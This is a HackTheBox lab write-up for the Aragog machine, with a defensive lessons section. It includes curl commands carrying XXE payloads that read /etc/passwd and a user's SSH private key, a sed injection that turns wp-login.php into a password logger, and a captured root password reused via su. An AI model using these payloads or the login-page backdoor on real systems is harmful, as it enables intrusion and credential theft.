HTB: Aragog Writeup

Aragog - HackTheBox Writeup

Machine Information

AttributeDetails
NameAragog
OSLinux
DifficultyMedium
Points30
Release Date21 July 2018
IP Address10.10.10.78
Authoregre55

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Aragog is a medium-difficulty Linux machine that demonstrates real-world vulnerabilities commonly found in web applications. The initial foothold is gained through exploiting an XML External Entity (XXE) injection vulnerability in a PHP endpoint that parses user-supplied XML. This allows reading arbitrary files from the filesystem, including SSH private keys. Privilege escalation involves exploiting world-writable web directories to capture credentials from an automated WordPress login bot, which are then reused to gain root access.

TL;DR: Anonymous FTP reveals XML sample → XXE injection in /hosts.php reads /home/florian/.ssh/id_rsa → SSH as florian → Inject credential capture into world-writable /var/www/html/dev_wiki/wp-login.php → Capture bot credentials → su root with reused password.


Reconnaissance

Port Scanning

Terminal window
# Full port scan with service detection
nmap -sC -sV -T4 -p- 10.10.10.78

Results:

  • Port 21 (FTP): vsftpd 3.0.3 with anonymous login enabled
  • Port 22 (SSH): OpenSSH 7.2p2 Ubuntu (publickey authentication only)
  • Port 80 (HTTP): Apache 2.4.18 (Ubuntu)

Service Enumeration

FTP Anonymous Access

Terminal window
# Connect to FTP anonymously
ftp 10.10.10.78
# Username: anonymous
# Password: <blank>
# Download available file
get test.txt

The test.txt file contains a small XML sample:

<details>
<subnet_mask>255.255.255.0</subnet_mask>
<test></test>
</details>

This XML structure provides a critical hint about the data format the web application expects.

HTTP Enumeration

Terminal window
# Add hostname to /etc/hosts
echo "10.10.10.78 aragog.htb" >> /etc/hosts
# Browse to http://aragog.htb/
# Main page shows only an image

Directory enumeration reveals a /hosts.php endpoint. Testing shows this endpoint accepts POST requests with XML data.

Vulnerability Assessment

Identified Vulnerabilities:

  1. XML External Entity (XXE) Injection - The /hosts.php endpoint parses XML without proper sanitization, allowing external entity injection
  2. Information Disclosure - FTP anonymous access reveals application structure
  3. World-Writable Web Directory - /var/www/html/dev_wiki has 777 permissions
  4. Password Reuse - Administrative credentials are reused across services

Initial Foothold

XML External Entity (XXE) Exploitation

The /hosts.php endpoint accepts XML via POST and reflects the subnet_mask value in its response. Testing with the sample XML from FTP:

Terminal window
# Test basic XML parsing
curl -X POST http://aragog.htb/hosts.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<details>
<subnet_mask>255.255.255.0</subnet_mask>
<test></test>
</details>'

Response: “There are 254 possible hosts for 255.255.255.0”

This confirms the application parses the XML and uses the subnet_mask value. We can exploit this with an XXE payload to read local files.

Reading /etc/passwd

Terminal window
# XXE payload to read /etc/passwd
curl -X POST http://aragog.htb/hosts.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>'

Key Users Discovered:

  • florian (UID 1000)
  • cliff (UID 1001)

Why This Works: XML External Entities allow defining custom entities that reference external resources. When the XML parser processes the &xxe; entity reference, it fetches the content from file:///etc/passwd and includes it in the document. Since the application reflects the subnet_mask value in its response, we can exfiltrate the file contents.

Extracting SSH Private Key

Since OpenSSH is configured for publickey authentication only, the presence of user home directories suggests SSH keys may be accessible:

Terminal window
# Read florian's SSH private key
curl -X POST http://aragog.htb/hosts.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa">
]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>' | grep -A50 "BEGIN RSA"

The response contains florian’s private SSH key. Save it to a file:

Terminal window
# Save the key (replace with actual key content from response)
cat > florian_id_rsa << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
[key content]
-----END RSA PRIVATE KEY-----
EOF
# Set proper permissions
chmod 600 florian_id_rsa
# SSH as florian
ssh -i florian_id_rsa florian@10.10.10.78

User Flag

Terminal window
# Read user flag
cat /home/florian/user.txt

Privilege Escalation

Enumeration as Florian

Terminal window
# Check running processes
ps aux | grep -E 'cliff|root'

Discovery: A process running as user cliff executes /usr/bin/wp-login.py, indicating an automated WordPress login bot that periodically authenticates to the WordPress installation.

Terminal window
# Locate WordPress installation
ls -la /var/www/html/

Key Finding: The /var/www/html/dev_wiki directory has 777 permissions, making it world-writable.

Credential Capture Strategy

Since the bot automates WordPress login, we can modify the login handler to capture credentials before they’re processed:

Terminal window
# Backup original wp-login.php
cp /var/www/html/dev_wiki/wp-login.php /dev/shm/wp-login.php.bak
# Inject credential capture code
# Note: Using /dev/shm for staging due to /tmp space constraints
cat > /tmp/inject.php << 'EOF'
<?php
file_put_contents("/dev/shm/creds.txt", $_POST['log'] . " - " . $_POST['pwd'] . "\n", FILE_APPEND);
EOF
# Insert after the opening <?php tag in wp-login.php
sed -i '1 a file_put_contents("/dev/shm/creds.txt", $_POST["log"] . " - " . $_POST["pwd"] . "\\n", FILE_APPEND);' /var/www/html/dev_wiki/wp-login.php

Why This Works: WordPress sends login credentials via POST with parameters log (username) and pwd (password). By injecting PHP code that writes these values to a file before the normal authentication logic runs, we can capture the bot’s credentials when it next logs in. The file_put_contents() function with FILE_APPEND ensures we don’t overwrite existing content and can capture multiple login attempts if needed.

Terminal window
# Wait for next bot run (approximately 1 minute)
watch -n 5 cat /dev/shm/creds.txt

After the bot’s next execution cycle:

Terminal window
# Read captured credentials
cat /dev/shm/creds.txt

Captured Credentials:

Administrator - !KRgYs(JFO!&MTr)lf

Privilege Escalation to Root

Terminal window
# Spawn a PTY for su command (su requires a TTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Switch to root using captured password
su root
# Password: !KRgYs(JFO!&MTr)lf

Why Password Reuse Works: The automated bot uses administrative credentials to log into WordPress. In this case, the administrator has reused their system root password for the WordPress account, allowing lateral movement from web application credentials to full system access.

Root Flag

Terminal window
# Read root flag
cat /root/root.txt

Cleanup

Terminal window
# Restore original wp-login.php
cp /dev/shm/wp-login.php.bak /var/www/html/dev_wiki/wp-login.php
# Remove temporary files
rm /dev/shm/creds.txt /dev/shm/wp-login.php.bak

Attack Chain Summary

Anonymous FTP (test.txt with XML sample) → XXE Injection in /hosts.php → Read /etc/passwd (discover users) → Read /home/florian/.ssh/id_rsa → SSH as florian (user.txt) → Enumerate processes (discover cliff's wp-login.py bot) → World-writable /var/www/html/dev_wiki → Inject credential capture into wp-login.php → Capture Administrator credentials → Reuse password with su root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ftpAnonymous FTP access to retrieve XML sample
curlCrafting HTTP POST requests for XXE exploitation
sshRemote shell access with extracted private key
psProcess enumeration to identify automation
sedInjecting PHP code into wp-login.php
suPrivilege escalation with captured credentials

Key Learnings

Techniques Practiced

  • XML External Entity (XXE) Injection - Exploiting unsafe XML parsing to read arbitrary files
  • File Enumeration via XXE - Using XXE to systematically extract SSH keys and configuration files
  • Process Enumeration - Identifying automated tasks that may contain privilege escalation vectors
  • Credential Capture - Modifying application code in writable directories to intercept authentication
  • Password Reuse Exploitation - Leveraging credentials across multiple services and privilege levels

Lessons Learned

  1. Disable XXE in XML Parsers - Always configure XML parsers to disable external entity resolution (libxml_disable_entity_loader(true) in PHP, or use secure parser configurations)

  2. Principle of Least Privilege - Web directories should never be world-writable. Use appropriate ownership (www-data:www-data) and permissions (755 for directories, 644 for files)

  3. Secure Private Keys - SSH private keys should have restrictive permissions (600) and ideally be encrypted with passphrases. They should never be readable by other users

  4. Avoid Password Reuse - Administrative credentials should be unique per service. The WordPress admin password should never match the system root password

  5. Monitor Automated Processes - Scheduled tasks and automation scripts often contain or require elevated credentials, making them high-value targets for attackers

  6. Input Validation - Even when accepting structured data like XML, validate and sanitize all user input. Consider using JSON instead of XML where external entities aren’t needed

  7. Anonymous FTP Risks - Anonymous FTP access can leak application structure, sample data formats, and configuration details that aid in exploitation


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup - Aragog (Document No D18.100.12) by Alexander Reid (Arrexel)